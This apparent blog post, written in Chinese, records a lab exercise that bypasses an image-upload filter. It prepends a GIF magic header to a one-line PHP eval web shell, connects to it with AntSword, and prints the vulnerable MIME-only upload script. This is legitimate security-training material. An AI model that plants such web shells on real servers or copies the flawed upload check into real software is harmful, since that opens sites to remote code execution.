• php一句话图片马上传绕过


    主页

      

    burpsuite截获,修改后缀为php,末尾加上一句话马(内容开头一定要是图片文件标志头),上传成功并返回路径

    <?php @eval($_POST['c']);?>

      

    其他测试:

    1、删掉部分图片内容时(图片文件头不对),无法上传 

      

    2、可以修改图片文件头为gif文件的标志头:GIF87a或者GIF89a,都可以成功上传

    3、冰蝎不支持,不知道为什么,是不是不支持图片马?

     前面的图片马可打开浏览,但无法连接jpg格式马

     使用蚁剑连接,密码就是c,测试连接成功

    找源代码文件

      

    顺便看看上传模块源码

    <?php
    //文件上传漏洞演示脚本之内容验证
    header("Content-type: text/html; charset=utf-8"); 
    error_reporting(0);
    $uploaddir = 'uploads/';
    if (isset($_POST['submit'])) {
        if (file_exists($uploaddir)) {
            //print_r($_FILES);
            $file_name = $_FILES['upfile']['tmp_name'];
            //print_r(getimagesize($file_name));
            $allow_ext = array('image/png', 'image/gif', 'image/jpeg', 'image/bmp');
            $img_arr = getimagesize($file_name);
            //print_r($img_arr);
            $file_ext = $img_arr['mime'];
            if (in_array($file_ext, $allow_ext)) {
                if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
                    echo '文件上传成功,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "
    ";
                }
            } else {
                echo '此文件不允许上传' . "
    ";
            }
        } else {
            exit($uploaddir . '文件夹不存在,请手工创建!');
        }
        //print_r($_FILES);
    }
    ?>

    从源码上分析看,如果上传文件的mime类型file_ext在allow_ext(

    'image/png', 'image/gif', 'image/jpeg', 'image/bmp'

    )中,就移动上传文件到/uploads/文件夹下

      

    参考:

    WebShell文件上传漏洞分析溯源(第3题)_文件上传_在线靶场_墨者学院_专注于网络安全人才培养 

    奶奶问孙子:4+1等于几 孙子说:等于6-1。 奶奶说:你明明知道答案,为什么不说? 孙子说:年轻人不讲5的……..
  • 相关阅读:
    net 面试题
    Entity Framework Core 三条引用三条命令
    软件开发模型设计
    Mysql局域网共享
    基于WinForm,百度ai接口开发的人脸识别
    WinForm创建
    SQLite Encryption(加密)新姿势
    WPF-MenuItem只显示最后一个Icon
    《深入浅出WPF》-刘铁猛学习笔记——XAML
    为什么你的问题群里没人回答?这就是原因!
  • 原文地址:https://www.cnblogs.com/jasy/p/14944225.html
Copyright © 2020-2023  润新知